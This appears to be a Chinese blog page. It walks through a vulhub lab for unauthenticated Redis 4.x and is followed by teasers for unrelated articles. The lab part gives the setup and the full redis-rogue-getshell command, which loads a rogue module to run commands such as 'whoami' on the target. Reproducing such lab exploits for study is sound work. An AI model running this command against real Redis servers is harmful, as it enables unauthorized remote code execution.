vulhub redis-4-unacc
环境搭建
cd vulhub/redis/4-unacc
docker-compose up -d
漏洞复现
检测
redis-cli -h ip
使用redis工具
工具地址：https://github.com/vulhub/redis-rogue-getshell
下载完成后，先进入RedisModulesSDK/exp/ 目录进行make操作
获得exp.so后可以进行命令执行
cd回redis-rogue-getshell-master/路径
命令执行
whoami
python3 redis-master.py -r 192.168.41.130 -p 6379 -L 192.168.41.130 -P 8888 -f RedisModulesSDK/exp/exp.so -c "whoami"
uname -a
相关文章：
vulhub redis-4-unacc
环境搭建 cd vulhub/redis/4-unacc docker-compose up -d 漏洞复现 检测 redis-cli -h ip 使用redis工具 工具地址：https://github.com/vulhub/redis-rogue-getshell 下载完成后，先进入RedisModulesSDK/exp/ 目录进行make操作 获得exp.so后可以进行…...
风火编程--playwright爬虫
playwright爬虫基本用法 等待加载 page.wait_for_load_state(‘networkidle’) text page.content() 点击 demo with sync_playwright() as pw:browser pw.chromium.launch(headlessTrue)context browser.new_context()page context.new_page()page.goto(url)page.wait…...
CSS的选择器(一篇文章齐全)
目录 Day26：CSS的选择器 1、CSS的引入方式 2、CSS的选择器 2.1 基本选择器编辑 2.2 组合选择器 2.3 属性选择器 2.4 伪类选择器 2.5 样式继承 2.6 选择器优先级 3、CSS的属性操作 3.1 文本属性 3.2 背景属性 3.3 边框属性 3.4 列表属性 3.5 dispal…...
手把手从零开始训练YOLOv8改进项目(官方ultralytics版本)教程
手把手从零开始训练 YOLOv8 改进项目 (Ultralytics版本) 教程，改进 YOLOv8 算法 本文以Windows服务器为例：从零开始使用Windows训练 YOLOv8 算法项目 《芒果 YOLOv8 目标检测算法 改进》 适用于芒果专栏改进 YOLOv8 算法 文章目录 官方 YOLOv8 算法介绍改进网络代码汇总第…...
AI 游戏工具收集
一、2D绘图 二、3D生成 Luma AI 3D模型生成Blockade Labs 天空盒生成 三、音乐音效 Waveformer 音乐音效生成 四、代码 Phind 代码生成...
Android描边外框stroke边线、rotate旋转、circle圆形图的简洁通用方案，基于Glide与ShapeableImageView，Kotlin
Android描边外框stroke边线、rotate旋转、circle圆形图的简洁通用方案，基于Glide与ShapeableImageView，Kotlin 利用ShapeableImageView专门处理圆形和外框边线的特性，通过Glide加载图片装载到ShapeableImageView。注意，因为要描边…...
virtualbox7 虚拟机与宿主机互传文件、共享u盘
互传文件有两种方式，一种是创建共享目录，一种是直接通过“控制”-》文件管理器。 1,创建共享目录，主要分两步： a,设置共享目录。点击虚拟机菜单“设备”-》共享文件夹弹出设置窗口。然后设置要共享的目录点击确定。 b,安装增强…...
浅谈多回路电表在荷兰光伏系统配电项目中的应用
1.背景信息 Background： 随着全球化石能源（石油，煤炭）越来越接近枯竭，污染日趋严重，气候日益变暖等问题，全球多个国家和地区相继出台了法规政策，推动了光伏产业的发展。但是现有的光…...
VBA之Word应用：文档（Document）的书签
《VBA之Word应用》（版权10178982），是我推出第八套教程，教程是专门讲解VBA在Word中的应用，围绕“面向对象编程”讲解，首先让大家认识Word中VBA的对象，以及对象的属性、方法，然后通过实…...
四旋翼无人机的飞行原理--【其利天下分享】
近年来，无人机在多领域的便捷应用促使其迅猛的发展，如近年来的多场战争，无人机的战场运用发挥得淋漓尽致。 下面我们针对生活中常见的四旋翼无人机的飞行原理做个基础的介绍，以飨各位对无人机有兴趣的朋友。 一：四旋翼…...
webpack的安全保障是怎么做的？
文章目录 前言Webpack 内容安全策略后言 前言 hello world欢迎来到前端的新世界 😜当前文章系列专栏：webpack 🐱👓博主在前端领域还有很多知识和技术需要掌握，正在不断努力填补技术短板。(如果出现错误，感…...
Python3.10的一些新特性与使用场景
Python 3.10的新特性不仅增强了语言的功能性，也提供了更丰富的工具，让开发者能更高效、更准确地编写代码。接下来将通过一些实际的使用场景和方法来探索这些新特性。 1. “精确类型”参数化内置集合 Python 3.10引入了更精确的方式来指定内置集合的类型…...
VS2022 配置 OpenCV并开始第一个程序
VS2022安装 首先下载 VisualStudioSetup.exe 下载连接：Visual Studio 2022 IDE - 适用于软件开发人员的编程工具 点击上面的链接即可进入到下载页面。进入到下载页面，可看到有几个版本可选，如下： 我选择的是企业版：E…...
图像处理01 小波变换
一.为什么需要离散小波变换 连续小波分解，通过改变分析窗口大小，在时域上移动窗口和基信号相乘，最后在全时域上整合。通过离散化连续小波分解可以得到伪离散小波分解， 这种离散化带有大量冗余信息且计算成本较高。 小波变换的公…...
构建自定义ChatGPT，微软推出Copilot Studio
11月16日，微软在美国西雅图举办“Microsoft Ignite 2023”全球开发者大会。本次人工智能成为重要主题，微软几乎把所有产品都集成了生成式AI功能并发布了一系列全新产品。 其中，微软重磅推出了Copilot Studio（预览版）&…...
什么是Mock？为什么要使用Mock呢？
1、前言 在日常开发过程中，大家经常都会遇到：新需求来了，但是需要跟第三方接口来对接，第三方服务还没好，我们自己的功能设计如何继续呢？这里，给大家推荐一下Mock方案。 2、场景示例 2.1、场景一…...
elementui表格自定义指令控制显示哪些列可以拖动
Vue.directive(tableBorder, function (el, {value}) {// value允许传字符串数字和数组el.classList.add(z_table_hasBorder)let hasStyle el.querySelector(style)if(hasStyle){hasStyle.remove()}let style document.createElement(style)let str .z_table_hasBorder .el…...
Motion Plan之搜素算法笔记
背景： 16-18年做过一阵子无人驾驶，那时候痴迷于移动规划；然而当时可学习的资料非常少，网上的论文也不算太多。基本就是Darpa的几十篇无人越野几次比赛的文章，基本没有成系统的文章和代码讲解实现。所以对移动规划的认…...
新中新身份证阅读器驱动下载sdk DKQ-A16D
读取操作 int nRet;string sMsg "";IDCardData idcardData new IDCardData();byte[] ctmp new byte[255];ReadCardAPI.Syn_SetPhotoPath(1, ref ctmp);setupDataFormate(1);nRet ReadCardAPI.Syn_OpenPort(Main_Form.m_iPort);if (nRet 0){DateTime startTime …...
世界坐标系，相机坐标系，像素坐标系转换 详细说明（附代码）
几个坐标系介绍，相机内外参的回顾参考此文。 本文主要说明如何在几个坐标系之间转换。 本文涉及： 使用相机内参 在 像素坐标系 和 相机坐标系 之间转换。使用相机外参（位姿）在相机坐标系 和 世界坐标系 之间转换。(qw,qx,qy,qz,…...
3分钟告别Windows桌面混乱：这款免费工具让你的图标瞬间变整齐
3分钟告别Windows桌面混乱：这款免费工具让你的图标瞬间变整齐 【免费下载链接】NoFences 🚧 Open Source Stardock Fences alternative 项目地址: https://gitcode.com/gh_mirrors/no/NoFences 还在为Windows桌面上那些杂乱无章的图标头疼吗&…...
7 年评测经验博主发布扫地机器人挑选指南，邀你探讨机器人革命！
评测多款扫地机器人，Matic 脱颖而出博主发布了关于挑选最佳扫地机器人的指南，近期评测了戴森的 Spot & Scrub、鲨客的 Power Detect 以及 Matic。在其 7 年的扫地机器人评测生涯中，Matic 是最有意思的新型扫地机器人。拨开营销迷雾&#…...
AI Agent预测式防御：毫秒级故障预判与柔性干预
1. 项目概述：这不是又一个“AI Agent故障复盘”，而是一次对失败根因的工程化反演 你有没有遇到过这样的情况：花两周时间精心设计了一个AI Agent流程，接入了最新版的LLM API，配置了多层工具调用和记忆机制，测…...
为什么92%的团队误用Gemini做Java审查？资深架构师拆解3个致命配置陷阱及修复命令集
更多请点击： https://codechina.net 第一章：Gemini Java代码审查的真相与误区 Gemini 并非专为 Java 代码审查设计的工具，其底层模型（如 Gemini 1.5 Pro）虽具备强大的自然语言理解与代码生成能力，但缺乏静…...
STM32G474RB用CMSIS-DAP下载程序，遇到一堆content mismatch错误？别急着换芯片，先检查这个硬件细节
STM32G474RB用CMSIS-DAP下载程序遇到content mismatch？可能是多设备干扰惹的祸 当你在实验室同时调试多块STM32开发板时，是否遇到过这样的场景：昨天还能正常烧录的STM32G474RB板卡，今天突然开始报出一连串content mismatch错误&am…...
AI Scientist-v2最佳实践：提高研究成功率的10个技巧
AI Scientist-v2最佳实践：提高研究成功率的10个技巧 【免费下载链接】AI-Scientist-v2 The AI Scientist-v2: Workshop-Level Automated Scientific Discovery via Agentic Tree Search 项目地址: https://gitcode.com/GitHub_Trending/ai/AI-Scientist-v2 想…...
公共卫生响应系统：交互式仪表盘+医疗聊天机器人+时序预测
1. 项目概述：这不是一个“疫情看板”，而是一套可落地的公共卫生响应辅助工具“Interactive COVID-19 Dashboard With Chatbot and Prediction Capabilities”——这个标题里藏着三个被很多人忽略的关键动词：Interactive（交互式&am…...
5分钟快速获取微信数据库密钥：Sharp-dumpkey完整使用指南
5分钟快速获取微信数据库密钥：Sharp-dumpkey完整使用指南 【免费下载链接】Sharp-dumpkey 基于C#实现的获取微信数据库密钥的小工具 项目地址: https://gitcode.com/gh_mirrors/sh/Sharp-dumpkey 你是否曾因为无法访问自己的微信聊天记录而感到困扰ÿ…...
如何在3分钟内将HTML完美转换为Word文档：html-to-docx终极指南
如何在3分钟内将HTML完美转换为Word文档：html-to-docx终极指南 【免费下载链接】html-to-docx HTML to DOCX converter 项目地址: https://gitcode.com/gh_mirrors/ht/html-to-docx 你是否曾经需要将网页内容转换为专业的Word文档，却发现格式完全…...
TokUnion 技术架构解析：AI+GEO 驱动的跨境增长数据闭环设计
摘要最近这个时间段，是国货出海精细化与合规化转型背景的深度期，传统粗放式广告投放，和单一渠道运营模式面临获客成本高、ROI 不可控、数据孤岛、合规风险突出等问题。下面这个文章，我会以TokUnion数字化协同体系为研究对象&#…...